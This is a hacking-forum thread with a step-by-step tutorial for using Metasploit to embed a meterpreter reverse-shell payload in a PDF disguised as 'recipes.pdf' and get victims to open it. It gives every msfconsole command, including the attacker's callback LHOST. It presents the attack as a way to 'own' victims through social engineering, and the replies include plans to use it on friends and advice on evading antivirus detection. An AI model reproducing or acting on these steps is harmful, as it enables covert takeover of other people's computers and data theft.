Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUTORIAL] Embedding a backdoor in a PDF file

Hello Again HF!,

Welcome to another Hacking Tutorial by MeshCollider.

If you are interested, here are links to my other hacking tutorials:Spoiler (Click to View)

The most popular PDF viewer in the world is Adobe Reader. Adobe has had a lot of security flaws in its products, but most users are unaware and continue to use old, unpatched versions. in fact, over 60% of people still have Adobe reader 9 or earlier installed. These are the versions we will exploit.

We will be adding a rootkit into an innocent PDF file, which we can then distribute to our victims to "own" them.

1) Run Metasploit
Check out my previous tutorials on how to set up and use metasploit

2) Find the Appropriate Exploit
We will search metasploits database for an exploit for adobe pdf on windows, using this command:
Code
msf > search type:exploit platform:windows adobe pdf
You should see the exploit "exploit/windows/fileformat/adobe_pdf_embedded_exe", which we will use:
Code
msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe

3) Set the Payload
We will use the meterpreter payload again, because it is one of the most powerful payloads available to us:
Code
msf > exploit (adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp

4) Set the exploit options
First, display the required options for the exploit:
Code
msf > exploit (adobe_pdf_embedded_exe) > show options
You can see that we must provide an existing PDF file to the INFILENAME option in which to embed the meterpreter payload. I will call it "example.pdf":
Code
msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME example.pdf
The next option is the output file name, FILENAME. Change this to something innocent that will attract users to open it:
msf > exploit (adobe_pdf_embedded_exe) > set FILENAME recipes.pdf
Finally, we need to specify the LHOST, which is our (the attackers) IP address. Mine is 192.168.1.8:
Code
msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.1.8

5) Run the Exploit!
Now that all the options are set, we can run the exploit like this:
Code
msf > exploit (adobe_pdf_embedded_exe) > exploit
Metasploit has created a PDF named recipes.pdf that contains the Meterpeter listener. Now, simply get users to open the pdf (Social Engineering again), and you will get instant control of their PC! easy as 🙂

Thanks for reading, please reply with your thanks if you enjoyed this and/or found it useful.

Watch out for future hacking tutorials from me - further wireless cracking, metasploit and other common hacking topics!

Written by MeshCollider 🤝
Well detailed tutorial. I think that this can help a lot of users :)
(Mar 21, 2014 04:14 PM)U63R Wrote:  Well detailed tutorial. I think that this can help a lot of users :)

Thanks man, appreciate the feedback! I certainly hope people find it useful 🤝
Great tutorial, going to use this on my friends!
Is this undetectable on the victim's computer?
(Mar 21, 2014 05:05 PM)FearYO Wrote:  Great tutorial, going to use this on my friends!

Thanks man! Have fun haha 🙂

(Mar 21, 2014 05:30 PM)Spartan. Wrote:  Is this undetectable on the victim's computer?

No sorry, the meterpreter is very detectable. But there are ways to make it FUD, so have a browse on Google 🤝
(Mar 21, 2014 06:00 PM)SIM-2015410 Wrote:  Thanks man! Have fun haha 🙂

No sorry, the meterpreter is very detectable. But there are ways to make it FUD, so have a browse on Google 🤝
Does it require a crypter or any 3rd party software? Can you just make it FUD by metasploit itself? Thanks just wondering..
(Mar 21, 2014 06:03 PM)Spartan. Wrote:  Does it require a crypter or any 3rd party software? Can you just make it FUD by metasploit itself? Thanks just wondering..

Check out this link here for an idea on how to make it UD. But its the same with any virus or trojan: You have to be one step ahead of the antivirus comapnies if you want to make something FUD.
Metasploit is just a database of exploits and payloads, I don't think it has any crypting abilities, etc.
http://pentestlab.wordpress.com/2012/04/...-backdoor/
Thanks dude, i really needed this.. bookmarkeeeeeed :)
sorry for sounding like a n00b but.....could you explain how this works exactly......i didn't understand the part about "instant control of the person's pc" again sorry for being a n00b
Great Tut, well detailed, it will help people here on HF am sure
Well detailed im going to try this and others from your other threads...thanks
Nice tutorial, written well, was curious how to do it :)
(Jun 17, 2014 07:26 AM)Die Jude Wrote:  Nice tutorial, written well, was curious how to do it :)

Thank you very much for replying guys 🤝
detailed tutorial. I think that this can help a lot of users


Possibly Related Threads...
Thread / Author Replies Views Last Post
by LagosianDec 23, 2024 07:08 AM 29 2,509 Dec 23, 2024 07:08 AM
Last Post: DramaKing
by PaRaNo1DApr 25, 2024 06:44 AM 121 4,788 Apr 25, 2024 06:44 AM
Last Post: Occulta91
by sdGuruMay 2, 2023 10:04 AM 39 3,968 May 2, 2023 10:04 AM
Last Post: Dread.Reaper